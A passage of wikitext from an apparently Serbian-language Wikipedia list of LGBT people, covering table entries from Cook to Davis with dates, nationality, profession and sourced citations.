}}", [[Windy City Times]]. Retrieved on [[2007]] [[November 22]].</ref> |- | [[Nancy Cook]] | 1884-1962 | [[Sjedinjene Američke Države|SAD]] | Sifražetkinja | L <ref>Cook, Blanche Wiesen. Eleanor Roosevelt: Volume One, 1884-1933. New York: Viking Press, 1993</ref> |- | [[Dennis Cooper]] | 1953 | [[Sjedinjene Američke Države|SAD]] | Umetnik | G <ref>Stephen Lucas, (November 2001), [http://www.3ammagazine.com/litarchives/nov2001/cooper_interview.html "American Psycho: An Interview With Dennis Cooper"], ''3:AM'' magazine. Retrieved November 12, 2006.</ref> |- | [[Colleen Coover]] | 1969 | [[Sjedinjene Američke Države|SAD]] | Strip umetnica | L <ref>"[http://www.gayleague.com/gay/creators/colleencoover.php Colleen Coover] {{Webarchive|url=https://web.archive.org/web/20081208015515/http://www.gayleague.com/gay/creators/colleencoover.php |date=2008-12-08 }}", Gay League. Retrieved on 2007.</ref> |- | [[Bleu Copas]] | 1976 | [[Sjedinjene Američke Države|SAD]] | Prevodilac u vojsci, otpušten jer je gej. | G <ref>Mansfield, Duncan ([[2006-07-27]]). [http://www.washingtonpost.com/wp-dyn/content/article/2006/07/27/AR2006072700212.html Army Dismisses Gay Arabic Linguist]. [[The Washington Post]]. Retrieved on [[2007-07-31]].</ref> |- | [[Aaron Copland]] | 1900-1990 | [[Sjedinjene Američke Države|SAD]] | Kompozitor | G <ref>Pollack, Howard. "Aaron Copland: The Life and Work of an Uncommon Man". New York, New York; 1st edition (1999). {{ISBN|0-8050-4909-6}}</ref> |- | [[Cat Cora]] | 1968 | [[Sjedinjene Američke Države|SAD]] | Kuvarica | L <ref>Sturrock, Carrie. [http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2005/04/01/EBG74BTQJ01.DTL "Chef steeling herself for TV's Iron Chef competition"] {{Webarchive|url=https://web.archive.org/web/20080116155706/http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2005/04/01/EBG74BTQJ01.DTL |date=2008-01-16 }}, ''[[San Francisco Chronicle]]'', [[April 1]], 2005.</ref> |- | [[John Corigliano]] | 1938 | [[Sjedinjene Američke Države|SAD]] | Kompozitor | G <ref>[http://www.glbtq.com/arts/corigliano_j.html Cyril Collard on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20070419120902/http://www.glbtq.com/arts/corigliano_j.html |date=2007-04-19 }}. Retrieved November 16, 2006.</ref> |- | [[William Corlett]] | 1938-2005 | [[Ujedinjeno Kraljevstvo|UK]] | Pisac | G <ref>[http://news.independent.co.uk/people/obituaries/article307668.ece Obituary] {{Webarchive|url=https://web.archive.org/web/20071001124748/http://news.independent.co.uk/people/obituaries/article307668.ece |date=2007-10-01 }} in ''The Independent''. Retrieved July 09, 2007.</ref> |- | [[Dean Corll]] | 1939-1973 | [[Sjedinjene Američke Države|SAD]] | Serijski ubica | G <ref>''[http://www.crimelibrary.com/serial_killers/predators/corll/index_1.html Dean Corll: The Sex, Sadism and Slaughter of Houston's Candy Man] {{Webarchive|url=https://web.archive.org/web/20070606032004/http://www.crimelibrary.com/serial_killers/predators/corll/index_1.html |date=2007-06-06 }}'', on Crime Library. Retrieved November 16, 2006.</ref> |- | [[Michael G. Cornelius]] | ? | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref>{{citation |title=Odds & Evens |publisher=[[Wilson College (Pennsylvania)]] |date=Spring 2007 |url=http://www.wilson.edu/wilson/asp/content.asp?id=2619 |accessdate=04. 12. 2007. |archive-date=2010-05-27 |archive-url=https://web.archive.org/web/20100527235934/http://www.wilson.edu/wilson/asp/content.asp?id=2619 |dead-url=yes }}</ref> |- | [[Patricia Cornwell]] | 1956 | [[Sjedinjene Američke Države|SAD]] | Spisateljica | B <ref>[http://famous.adoption.com/famous/cornwell-patricia.html Biography at Adoption.com] {{Webarchive|url=https://web.archive.org/web/20080531112429/http://famous.adoption.com/famous/cornwell-patricia.html |date=2008-05-31 }}. Retrieved November 17, 2006.</ref> |- | [[Peter and Murray Corren]] | ? | [[Kanada]] | LGBT aktivista | G <ref>Eustace, Chantal, [http://www.canada.com/vancouversun/news/westcoastnews/story.html?id=e4498784-ab0b-4b70-bd77-f6592ebc2ca4&k=41624 "Gay couple has too much say over lessons: petitioners"] {{Webarchive|url=https://web.archive.org/web/20070311140452/http://www.canada.com/vancouversun/news/westcoastnews/story.html?id=e4498784-ab0b-4b70-bd77-f6592ebc2ca4&k=41624 |date=2007-03-11 }}, ''[[Vancouver Sun]]'', 28 August 2006. Accessed 31 August 2006.</ref> |- | [[Antony Cotton]] | alight=center| 1975 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | G <ref>{{Cite web |url=http://www.tv.com/antony-cotton/person/90255/biography.html |title=TV.com biography |access-date=2008-04-23 |archive-date=2008-02-08 |archive-url=https://web.archive.org/web/20080208142856/http://www.tv.com/antony-cotton/person/90255/biography.html |url-status=dead }}</ref> |- | [[Douglas Coupland]] | 1961 | [[Kanada]] | Pisac | G <ref>Duralde, Alonso, "[http://www.findarticles.com/p/articles/mi_m1589/is_2005_Feb_1/ai_n9487813 All the lonely people]{{Dead link|date=October 2022 |bot=InternetArchiveBot |fix-attempted=yes }}". ''[[The Advocate]]'', February 1, 2005.</ref> |- | [[Brendan Courtney]] | ? | [[Irska]] | TV voditelj | G <ref>Coyle, Colin, (February 15, 2004), [http://entertainment.timesonline.co.uk/article/0,,18589-999498,00.html Queer eye for a good buy]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }}, ''The Times''. Retrieved January 2006.</ref> |- | [[Noel Coward]] | 1899-1973 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac, pisac | G <ref>[http://www.glbtq.com/arts/coward_n_art.html Cyril Collard on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20070418185538/http://www.glbtq.com/arts/coward_n_art.html |date=2007-04-18 }}. Retrieved November 16, 2006.</ref> |- | [[Henry Cowell]] | 1897-1965 | [[Sjedinjene Američke Države|SAD]] | Kompozitor i muzičar | G <ref>{{citation |last=Krinsky |first=Charles |year=2002 |title=Cowell, Henry |periodical=[[glbtq.com]] |accessdate = 22. 03. 2008. }}</ref> |- |[[Ron Cowen]] |? |[[Sjedinjene Američke Države|SAD]] |Scenarista |G<ref>{{cite web|url=http://archive.glaad.org/publications/archive_detail.php?id=3891|title=GLAAD to Honor Jennifer Tilly, Ron Cowen and Daniel Lipman, Rev. Cecil Williams at 17th Annual GLAAD Media Awards Presented by Absolut Vodka in San Francisco|accessdate=19. 6. 2010|year=2006|publisher=[[GLAAD]]}}{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> |- | [[Colin Cowie]] | 1962 | [[Južna Afrika]] | Dizajner venčanja | G <ref>Ferber, Lawrence, (November 20, 2006), [http://www.advocate.com/currentstory1_w.asp?id=39544 A day without gay? ], ''The Advocate''. Retrieved January 24, 2007.</ref> |- | [[Daniel Allen Cox]] | 1976 | [[Kanada]] | Pisac | G <ref>"[http://velvetmafia.com/interview/21.cox.php Francis Vol interviews Daniel Allen Cox] {{Webarchive|url=https://web.archive.org/web/20071014210220/http://velvetmafia.com/interview/21.cox.php |date=2007-10-14 }}", [[Velvet Mafia]] (no. 21). Retrieved on [[2007]] [[October 6]].</ref> |- | [[Cheryl Crane]] | 1943 | [[Sjedinjene Američke Države|SAD]] | Ćerka [[Lana Turner|Lane Turner]], ubica | L <ref>CNN Transcript, [http://transcripts.cnn.com/TRANSCRIPTS/0108/08/lkl.00.html Lana Turner's Daughter Tells Her Story]. Retrieved November 16, 2006.</ref> |- | [[Hart Crane]] | 1899-1932 | [[Sjedinjene Američke Države|SAD]] | Pesnik | G <ref>{{cite web | url=http://www.english.uiuc.edu/maps/poets/a_f/crane/bio.htm | title=Hart Crane: Biographical Sketch | work=Modern American Poetry | author=Edward Brunner | date= | accessdate=08. 07. 2007. | archive-date=2008-05-11 | archive-url=https://web.archive.org/web/20080511213014/http://www.english.uiuc.edu/maps/poets/a_f/crane/bio.htm | url-status=dead }}</ref> |- | [[Nicky Crane]] | 1958-1993 | [[Ujedinjeno Kraljevstvo|UK]] | Neo-Nazi aktivista | G <ref>[http://uncarved.org/blog/?p=102 The Strange Case of Nicola Vincenzio Crane], Uncarved.org. Retrieved November 16, 2006.</ref> |- | [[Anthony Crank]] | ? | [[Ujedinjeno Kraljevstvo|UK]] | TV voditelj | G <ref>Rainbownetwork.com (February 18, 2005), [http://www.rainbownetwork.com/Health/detail.asp?iData=22798&iCat=173&iChannel=16&nChannel=Health Website For Young Gay Men]. Retrieved February 6, 2007.</ref> |- | [[Toller Cranston]] | 1949 | [[Kanada]] | Klizač na ledu, umetnik | G <ref>[http://www.glbtq.com/arts/cranston_t.html Toller Cranston at Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20070614205931/http://www.glbtq.com/arts/cranston_t.html |date=2007-06-14 }}. Retrieved November 20, 2006.</ref> |- | [[Joan Crawford]] | 1905-1977 | [[Sjedinjene Američke Države|SAD]] | Glumica | B <ref>Quirk, Lawrence J., ''Joan Crawford: The Essential Biography'', (2002), University of Kentucky Press.</ref> |- | [[Darby Crash]] | 1958-1980 | [[Sjedinjene Američke Države|SAD]] | [[Punk rock]] muzičar ([[The Germs]]) | G <ref>Duralde, Alonso; Anne Stockwell ([[2002-07-09]]). [http://findarticles.com/p/articles/mi_m1589/is_2002_July_9/ai_88583433 Biographies - Wild reads: waves, winds, and a good book you can take while you bake—isn't that what summer's all about?] [[The Advocate]]. Retrieved on [[2007-06-28]].</ref> |- | [[Quentin Crisp]] | 1908-1999 | [[Ujedinjeno Kraljevstvo|UK]] | Pisac | G <ref>The Naked Civil Servant, (1968) Quentin Crisp, 222 pages, HarperCollins, {{ISBN|0-00-654044-9}}.</ref> |- | [[Chris Crocker (internet)|Chris Crocker]] | ? | [[Sjedinjene Američke Države|SAD]] | Videobloger | G <ref>{{citation |url=http://www.thestranger.com/seattle/Content?oid=232684 |title=Escape from Real Bitch Island |first=Eli |last=Sanders |date = 30. 06. 2007. |accessdate = 13. 09. 2007. |periodical=[[The Stranger (newspaper)|The Stranger]]}}</ref> |- | [[Richard Cromwell (actor)|Richard Cromwell]] | 1910-1960 | [[Sjedinjene Američke Države|SAD]] | Glumac | G <ref>Martin Gottfried, ''Balancing Act: The Authorized Biography of Angela Lansbury'', Little, Brown; 1st ed edition (January 5, 1999). {{ISBN|0-316-32225-3}}</ref> |- | [[Rodney Croome]] | ? | [[Australija]] | LGBT aktivista | G <ref>[http://www.rodneycroome.id.au/weblog.php Official blog] {{Webarchive|url=https://web.archive.org/web/20070601194325/http://www.rodneycroome.id.au/weblog.php |date=2007-06-01 }}. Retrieved November 16, 2006.</ref> |- | [[Aleister Crowley]] | 1875-1947 | [[Ujedinjeno Kraljevstvo|UK]] | Okultista | B <ref>Lawrence Sutin (2000). ''Do What Thou Wilt: A Life of Aleister Crowley''. {{ISBN|0-312-28897-2}}</ref> |- | [[Howard Cruse]] | 1944 | [[Sjedinjene Američke Države|SAD]] | Crtač | G <ref>Grunewald, Scott J. [http://www.popimage.com/content/howardcruse2006.html HOWARD CRUSE: Profiling An Influential Artist] {{Webarchive|url=https://web.archive.org/web/20070930014448/http://www.popimage.com/content/howardcruse2006.html |date=2007-09-30 }}, Popimage.com. Retrieved November 16, 2006.</ref> |- | [[Bobby Crush]] | 1954 | [[Ujedinjeno Kraljevstvo|UK]] | Pijanista | G <ref>Buckley, Bill, "At Home with Bobby Crush", ''Gay Times''.</ref> |- | [[Benjamin Cruz]] | 1953 | [[Sjedinjene Američke Države|SAD]] | Sudija, političar | G <ref>{{citation |url=http://www.findarticles.com/p/articles/mi_m1589/is_n747/ai_20013295 |title=Newly Appointed Guam Supreme Court Justice Benjamin Cruz May Be the Nation's Highest-ranking Gay Judge |date=[[November 25]], [[1997]] |periodical=[[The Advocate]] |accessdate = 16. 02. 2008. }}</ref> |- | [[Wilson Cruz]] | 1973 | [[Sjedinjene Američke Države|SAD]] | Glumac | G<ref>[http://www.hrc.org/Template.cfm?Section=Latinas_Latinos&Template=/ContentManagement/ContentDisplay.cfm&ContentID=12755 Profile at the Human Rights Campaign] {{Webarchive|url=https://web.archive.org/web/20070830055842/http://www.hrc.org/Template.cfm?Section=Latinas_Latinos&Template=%2FContentManagement%2FContentDisplay.cfm&ContentID=12755 |date=2007-08-30 }}. Retrieved November 16, 2006.</ref> |- | [[Steve Cruz (porno glumac)|Steve Cruz]] | 1972 | [[Sjedinjene Američke Države|SAD]] | Porno glumac | G <ref>{{citation |url=http://www.stevecruzxxx.com |accessdate=01. 03. 2008. |title=SteveCruzXXX.com |archivedate=2008-02-29 |archiveurl=https://web.archive.org/web/20080229032340/http://stevecruzxxx.com/ |deadurl=yes }}</ref> |- | [[George Cukor]] | 1899-1983 | [[Sjedinjene Američke Države|SAD]] | Reditelj | G <ref>[http://www.glbtq.com/arts/cukor_g.html George Cukor on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20070814070018/http://www.glbtq.com/arts/cukor_g.html |date=2007-08-14 }}. Retrieved November 16, 2006.</ref> |- | [[Mitch Cullin]] | 1968 | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref>{{citation |url=http://www.accessmylibrary.com/coms2/summary_0286-6557412_ITM |last=Weeks |first=Jerome |periodical=[[Dallas Morning News]] |date=[[May 11]], [[2005]] |accessdate=28. 01. 2008. |title=A cult writer creates some mainstream buzz |archiveurl=https://archive.today/20120719145028/http://www.accessmylibrary.com/article-1G1-259957795/mormons-having-moment-but.html |archivedate=2012-07-19 |dead-url=no }}</ref> |- | [[Alan Cumming]] | 1965 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | B <ref>McQuaid, Peter (September 28, 1999), [http://www.findarticles.com/p/articles/mi_m1589/is_1999_Sept_28/ai_56459828 The artful swinger - bisexual actor Alan Cumming] {{Webarchive|url=https://web.archive.org/web/20080804043643/http://findarticles.com/p/articles/mi_m1589/is_1999_Sept_28/ai_56459828 |date=2008-08-04 }}. Retrieved November 16, 2006.</ref> |- | [[Conrad Cummings]] | 1948 | [[Sjedinjene Američke Države|SAD]] | Kompozitor | G <ref name="GayCD">''Gay American composers.'' New York, CD NY: CRI, [1996]. [http://www.lib.uchicago.edu/e/su/gaylesb/glgxiv-mus.html Guide to Gay and Lesbian Resources: XIV.141 Music, No. 3107]. Retrieved November 18, 2006.</ref> |- | [[Andrew Cunanan]] | 1969-1997 | [[Sjedinjene Američke Države|SAD]] | Serijski ubica | G <ref>CNN (July 17, 1997), [https://web.archive.org/web/20010506141929/http://www.cnn.com/WORLD/9707/17/cunanan/ Who is Andrew Cunanan?]. Retrieved November 16, 2006.</ref> |- | [[Merce Cunningham]] | 1919 | [[Sjedinjene Američke Države|SAD]] | Igrač, koreograf | G <ref name="Vaughn, David 1999"/> |- | [[Michael Cunningham]] | 1952 | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref>Judell, Brandon, [http://www.planetout.com/entertainment/interview.html?sernum=301 Michael Cunningham on success and Nicole's nose], Planetout.com. Retrieved November 16, 2006.</ref> |- | [[Adrianne Curry]] | 1982 | [[Sjedinjene Američke Države|SAD]] | Model | B <ref>October 3, 2005 broadcast of the ''[[Opie and Anthony]]'' [[XM Satellite Radio]] show.</ref> |- | [[John Curry]] | 1949–1994 | [[Ujedinjeno Kraljevstvo|UK]] | Klizač na ledu | G <ref>{{cite news |first= Filip |last= Bondy | url=http://query.nytimes.com/gst/fullpage.html?sec=health&res=9E0CE0D91630F934A25752C1A964958260| title = Figure Skating; AIDS Deaths Tear at Figure-Skating World | work = New York Times | date = 17. 11. 1992. | accessdate = 19. 06. 2006. }}</ref> |- | [[Bonnie Curtis]] | 1966 | [[Sjedinjene Američke Države|SAD]] | Filmska producentkinja | L <ref>{{cite news |first= Christopher |last= Lisotta | title = Spielberg's star pupil | work = The Advocate | date = 30. 08. 2005. }}</ref> |- | [[Catie Curtis]] | 1965 | [[Sjedinjene Američke Države|SAD]] | Muzičarka | L <ref>Belge, Kathy, [http://lesbianlife.about.com/od/lesbianmusicians/a/CCurtis.htm Catie Talks to Lesbian Life] {{Webarchive|url=https://web.archive.org/web/20070521172208/http://lesbianlife.about.com/od/lesbianmusicians/a/CCurtis.htm |date=2007-05-21 }}. Retrieved November 16, 2006.</ref> |- | [[Jackie Curtis]] | [[1947]]-[[1985]] | [[Sjedinjene Američke Države|SAD]] | Spisateljica i glumica | T<ref name="jackiecurtis">"[http://www.imdb.com/name/nm0193363/bio Jackie Curtis (I) - Biography]". Retrieved [[2007]]-[[April 2|04-02]].</ref> |- | [[Daniel Curzon]] | 1938 | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref>Rineer, Eric (1999 October 29), "[http://media.www.dailynebraskan.com/media/storage/paper857/news/1999/10/29/News/Students.Web.Evaluations.Of.Professors.Criticized-1736104.shtml Students' Web evaluations of professors criticized] {{Webarchive|url=https://archive.today/20110807085949/http://media.www.dailynebraskan.com/media/storage/paper857/news/1999/10/29/News/Students.Web.Evaluations.Of.Professors.Criticized-1736104.shtml |date=2011-08-07 }}", ''[[Daily Nebraskan]]''. Retrieved on [[2008 January 24]]</ref> |- | [[Ami Cusack]] | 1973 | [[Sjedinjene Američke Države|SAD]] | Model | L <ref>{{cite web |last=Cusack |first=Ami |date=[[December 15]] [[2004]] |url=http://www.advocate.com/exclusive_detail_ektid15330.asp |title=Bronze isn't bad |work=Advocate.com |accessdate = 22. 03. 2007.}}</ref> |- | [[Charlotte Saunders Cushman]] | 1816-1876 | [[Sjedinjene Američke Države|SAD]] | Glumica | L <ref>[http://www.glbtq.com/arts/cushman_c.html George Cukor on Glbtq.com]. Retrieved November 16, 2006.</ref> |- | [[Julie Cypher]] | 1964 | [[Sjedinjene Američke Države|SAD]] | LGBT aktivistkinja, rediteljka | B <ref name="Melissa Etheridge profile">[http://www.cmt.com/artists/az/melissa_etheridge/bio.jhtml Melissa Etheridge profile], CMT.com. Retrieved November 2, 2006.</ref> |} == Č == [[Datoteka:Der junge Tschaikowski.jpg|right|thumb|Kompozitor [[Petar Iljič Čajkovski|Pjotr Iljič Čajkovski]]]] {| class=wikitable ! width="24%" | Ime ! width="13%" | Datumi ! width="15%" | Zemlja ! width="35%" | Profesija ! width="17%" | Napomene |- valign="top" | [[Modest Iljič Čajkovski]] | 1850–1916 | [[Rusija]] | Dramski pisac, libretista, prevodilac | G <ref>{{citation |first=Rictor |last=Norton |url=http://www.infopt.demon.co.uk/tchaikov.htm |chapter=Gay Love-Letters from Tchaikovsky to his Nephew Bob Davidof |title=The Great Queens of History |date=05. 11. 2005. |accessdate=08. 08. 2007. |archivedate=2007-07-07 |archiveurl=https://web.archive.org/web/20070707081035/http://www.infopt.demon.co.uk/tchaikov.htm |deadurl=yes }}</ref> |- | [[Petar Iljič Čajkovski|Pjotr Iljič Čajkovski]] | 1840–1893 | [[Rusija]] | Kompozitor | G <ref>{{citation |last=Henahan |first=Donal |date = 26. 07. 1981. |url=http://query.nytimes.com/gst/fullpage.html?res=9D02EFD9163BF935A15754C0A967948260&sec=&spon=&pagewanted=print |title=Did Tchaikovsky really commit suicide? |periodical=[[The New York Times]] |accessdate = 27. 03. 2007.}}</ref><ref>{{citation |last=Poznansky |first=Alexander |title=Tchaikovsky: The Quest for the Inner Man |publisher=Schirmer Books |url=http://query.nytimes.com/gst/fullpage.html?res=9E0CE7DF153EF936A35752C0A964958260 |date=March 1992 |isbn=0028718852}}</ref> |} === Ć === * [[Jovan Ćirilov]] – srpski pisac, scenarista, osnivač [[BITEF]]-a === D === [[Datoteka:Lee Daniels and children by David Shankbone.jpg|thumb|Reditelj i producent [[Lee Daniels]] sa svojom decom]] [[Datoteka:Libby Davies.jpg|right|thumb|Političarka [[Libby Davies]]]] [[Datoteka:Rondavies1998.jpg|right|thumb|Političar [[Ron Davies (Velški političar)|Ron Davies]]]] [[Datoteka:Angela-Davis-Mar-28-2006.jpg|right|thumb|Profesorka [[Angela Davis]]]] [[Datoteka:Mercedes de Acosta.jpg|right|thumb|Spisateljica [[Mercedes de Acosta]]]] [[Datoteka:Ellen DeGeneres (2004).jpg|right|thumb|Komičarka [[Ellen DeGeneres]]]] [[Datoteka:Sergej Diaghilev (1872-1929) ritratto da Valentin Aleksandrovich Serov.jpg|thumb|Vođa baletske trupe [[Sergei Diaghilev]]]] [[Datoteka:Isadora Duncan (grayscale).jpg|right|thumb|Igračica [[Isidora Duncan]]]] {| class=wikitable ! width="24%" | Name ! width="13%" | Dates ! width="15%" | Nationality ! width="35%" | Profession ! width="17%" | Notes <ref name="notesexp">All entries contain a [[WP:V|reliably sourced]] reference. Entries may also contain a letter indicating '''L'''esbian, '''G'''ay, or '''B'''isexual.</ref> |- valign="top" | [[Jacques d'Adelsward-Fersen]] | 1880-1923 | [[Francuska]] | PIsac | G <ref>Foster, Stephen Wayne. ''Adelswärd Fersen, Baron Jacques D.'' [http://williamapercy.com/pub-EncyHom.htm '''Encyclopedia of Homosexuality.'''] {{Webarchive|url=https://web.archive.org/web/20060222150409/http://williamapercy.com/pub-EncyHom.htm |date=2006-02-22 }} Dynes, Wayne R. (ed.), Garland Publishing, 1990. pp.11&12</ref> |- | [[Eva Dahlgren]] | 1960 | [[Švedska]] | Muzičarka | L <ref>[http://www.dahlgren-attling.net/eva/ Official site biography.] {{Webarchive|url=https://web.archive.org/web/20020610154117/http://www.dahlgren-attling.net/eva/ |date=2002-06-10 }} Retrieved November 7, 2006.</ref> |- | [[Jeffrey Dahmer]] | 1960-1994 | [[Sjedinjene Američke Države|SAD]] | Serijski ubica | G <ref>Masters, Brian: "The Shrine of Jeffrey Dahmer"; Hodder and Stoughton Limited, London 1993 (Paperback Coronet 1993)</ref> |- | [[Stephen Daldry]] | 1961 | [[Ujedinjeno Kraljevstvo|UK]] | Reditelj | G <ref>Giltz, Michael (2003). [http://findarticles.com/p/articles/mi_m1589/is_2003_March_18/ai_99850228 The golden Hours] in ''[[The Advocate]]''. Retrieved July 07, 2007.</ref> |- | [[Grover Dale]] | 1935 | [[Sjedinjene Američke Države|SAD]] | Glumac, igrač, koreograf | G <ref>{{cite web |url=http://www.glbtq.com/arts/perkins_a.html |title=Perkins, Anthony (1932-1992) |publisher=GLBTQ Encyclopedia |author=Tina Gianoulis |accessdate=08. 07. 2007. |date=2007 |archive-date=2008-10-11 |archive-url=https://web.archive.org/web/20081011004549/http://www.glbtq.com/arts/perkins_a.html |dead-url=yes }}</ref> |- | [[James Dale]] | 1971 | [[Sjedinjene Američke Države|SAD]] | Vođa [[Boy Scouts of America|Američkih izviđača]], isključen jer je gej. | G <ref>{{cite web |title=The model Boy Scout - James Dale |work=[[The Advocate]] |date = 14. 04. 1998. |first=Benoit |last=Lewis-Denizet |coauthors=Erik Meers |url=http://findarticles.com/p/articles/mi_m1589/is_n757/ai_20503967/pg_3 |accessdate = 20. 06. 2007.}}</ref> |- | [[Joe Dallesandro]] | 1948 | [[Sjedinjene Američke Države|SAD]] | Glumac | B <ref>''Little Joe, Superstar: The Films of Joe Dallesandro'', Michael Ferguson. Laguna Hills, CA: Companion Press, 1998. {{ISBN|1-889138-09-6}}</ref> |- | [[Sam D'Allesandro]] | 1956-1988 | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref>Hendin, Josephine (2004), ''A Concise Companion to Postwar American Literature and Culture'', Blackwell Publishing, {{ISBN|1405121807}}, at 218.</ref> |- | [[Mary Daly]] | 1928 | [[Sjedinjene Američke Države|SAD]] | Feministička filozofkinja i teološkinja | L <ref>Gianoulis, Tina (April 18, 2005), [http://www.glbtq.com/social-sciences/daly_m.html Mary Daly] {{Webarchive|url=https://web.archive.org/web/20071030100005/http://www.glbtq.com/social-sciences/daly_m.html |date=2007-10-30 }} at the GLBTQ encyclopedia. Retrieved January 20, 2008.</ref> |- | [[Anne Seymour Damer]] | 1748-1828 | [[Ujedinjeno Kraljevstvo|UK]] | Skulptorkinja | B <ref>{{cite web |url=http://www.infopt.demon.co.uk/sapphick.htm |title=A Sapphick Epistle 1778 |work=Homosexuality in Eighteenth-Century England |accessdate=16. 08. 2007. |archive-date=2007-06-13 |archive-url=https://web.archive.org/web/20070613220104/http://www.infopt.demon.co.uk/sapphick.htm |dead-url=yes }}</ref> |- | [[Antonio D'Amico]] | 1959 | [[Italija]] | Model, dizajner | G <ref>Weisel, Al, (August, 1999), [http://home.nyc.rr.com/alweisel/outantoniodamico.htm The Widower Versace] {{Webarchive|url=https://web.archive.org/web/20071012171041/http://home.nyc.rr.com/alweisel/outantoniodamico.htm |date=2007-10-12 }}, ''Out magazine''. Retrieved December 7, 2006.</ref> |- | [[Alain Daniélou]] | 1907-1994 | [[Francuska]] | Intelektualac | G <ref>Alain Danielou, ''The Way to the Labyrinth: Memories of East and West'', New Directions, New York 1987; translation by Marie-Claire Cournand.</ref> |- | [[Ben Daniels]] | 1964 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | G <ref name="Gay Power: The pink list"/> |- | [[David Daniels]] | 1966 | [[Sjedinjene Američke Države|SAD]] | Pevač | G <ref>Parterre.com (June 23, 1999), [http://www.parterre.com/daniels.htm parterre box talks to David Daniels]. Retrieved January 20, 2008.</ref> |- | [[Lee Daniels]] | 1959 | [[Sjedinjene Američke Države|SAD]] | Reditelj i producent | G <ref>LOLA OGUNNAIKE, ''[http://www.nytimes.com/2006/07/20/movies/20dani.html?ex=1311048000&en=a0d4428854082b0f&ei=5088&partner=rssnyt&emc=rss Lee Daniels Morphs From Iconoclastic Producer Into an Iconoclastic Director]'', New York Times, July 20, 2006.</ref> |- | [[Sarah Daniels]] | 1957 | [[Ujedinjeno Kraljevstvo|UK]] | Dramska spisateljica | L <ref>Sandra Freeman, (1997), "Putting Your Daughters on the Stage: Lesbian Theatre from the 1970s to the 1990s", Cassell, 198 pages, {{ISBN|0-304-33310-7}} (hardback)/0-304-33309-3 (paperback).</ref> |- | [[Martin Dannecker]] | 1942 | [[Njemačka|Nemačka]] | Seksolog, pisac | G <ref>Plews, John L & Christoph Lorey (1998), ''Queering the Canon: Defying Sights in German Literature and Culture'', Boydell & Brewer, pp. 322, {{ISBN|1571131787}}</ref> |- | [[Brian Dannelly]] | ? | [[Sjedinjene Američke Države|SAD]] | Reditelj | G <ref>Vary, Adam B. (May 25, 2004), [http://www.findarticles.com/p/articles/mi_m1589/is_2004_May_25/ai_n6150977 Holy high school! Meet the out team behind teen Christian comedy Saved! in which star Jena Malone carries her gay boyfriend's baby] {{Webarchive|url=https://web.archive.org/web/20080126234540/http://findarticles.com/p/articles/mi_m1589/is_2004_May_25/ai_n6150977 |date=2008-01-26 }}, ''[[The Advocate]]''. Retrieved November 7, 2006.</ref> |- |[[Candy Darling]] |1944-1974 | [[Sjedinjene Američke Države|SAD]] | Glumica, jedna od [[Andy Warhol|Warholovih]] [[Warholove superzvezde|superzvezdi]] |T<ref name="candydarling">Comenas, G. "[http://www.warholstars.org/stars/candy.html Candy Darling, Andy Warhol superstar]". Retrieved [[2007]]-[[April 2|04-02]].</ref> |- |[[Ram Dass]] | 1931 | [[Sjedinjene Američke Države|SAD]] | Spisateljica | B <ref>Rosen, Eliot Jay. [http://www.vegetarianusa.com/feature_articles/bms/ramdass.html An Interview with Ram Dass]. ''VegetarianUSA''. Retrieved July 8, 2007.</ref> |- | [[Charlie David]] | 1980 | [[Kanada]] | Glumac | G <ref>Kregloe, Karman (May 23, 2006), [https://web.archive.org/web/20061030141649/http://www.afterelton.com/people/2006/5/charliedavid.html Charlie David: Out in Hollywood], Afterelton.com. Retrieved November 20, 2006.</ref> |- | [[Dave Davies]] | 1947 | [[Ujedinjeno Kraljevstvo|UK]] | Muzičar | B <ref>Davies, Dave, ''Kink'', (1996).</ref> |- | [[Laura Davis]] | 1994 | [[Ujedinjeno Kraljevstvo|UK]] | Sportistkinja | L <ref>[http://www2.parl.gc.ca/HousePublications/Publication.aspx?pub=hansard&mee=104&parl=37&ses=1&language=E&x=1#T1145 Hansard debate in which Davies came out] {{Webarchive|url=https://web.archive.org/web/20071031140001/http://www2.parl.gc.ca/HousePublications/Publication.aspx?pub=hansard&mee=104&parl=37&ses=1&language=E&x=1#T1145 |date=2007-10-31 }}, October 29, 2001. Retrieved November 7, 2006.</ref> |- | [[Peter Maxwell Davies]] | 1934 | [[Ujedinjeno Kraljevstvo|UK]] | Kompozitor, dirigent | G <ref>Moss, Stephen (June 19, 2004), [http://arts.guardian.co.uk/proms2004/story/0,,1257047,00.html Sounds and silence], ''[[The Guardian]]''. Retrieved November 7, 2006.</ref> |- | [[Ron Davies (Britanski političar)|Ron Davies]] | 1946 | [[Ujedinjeno Kraljevstvo|UK]] | Političar | B <ref>Wintour, Patrick (March 10, 2003), [http://politics.guardian.co.uk/wales/story/0,,911054,00.html Ron Davies ends political career], ''[[The Guardian]]''. Retrieved November 7, 2006.</ref> |- | [[Russell T. Davies]] | 1963 | [[Ujedinjeno Kraljevstvo|UK]] | TV producent i pisac | G <ref>{{cite news |first=Cathy |last=Pryor |title=Russell T Davies: One of Britain's foremost television writers |url=http://news.independent.co.uk/people/profiles/article1919243.ece |work=[[The Independent]] |date=22. 10. 2006. |accessdate=22. 10. 2006. |archivedate=2006-11-04 |archiveurl=https://web.archive.org/web/20061104231040/http://news.independent.co.uk/people/profiles/article1919243.ece |deadurl=yes }}</ref> |- | [[Terence Davies]] | 1945 | [[Ujedinjeno Kraljevstvo|UK]] | Reditelj | G <ref>{{cite news |last=Hattenstone |first=Simon |title=Bigmouth strikes again |work=The Guardian |date = 20. 10. 2006. |url=http://arts.guardian.co.uk/features/story/0,,1926090,00.html |accessdate = 08. 08. 2007. }}</ref> |- | [[Angela Davis]] | 1944 | [[Sjedinjene Američke 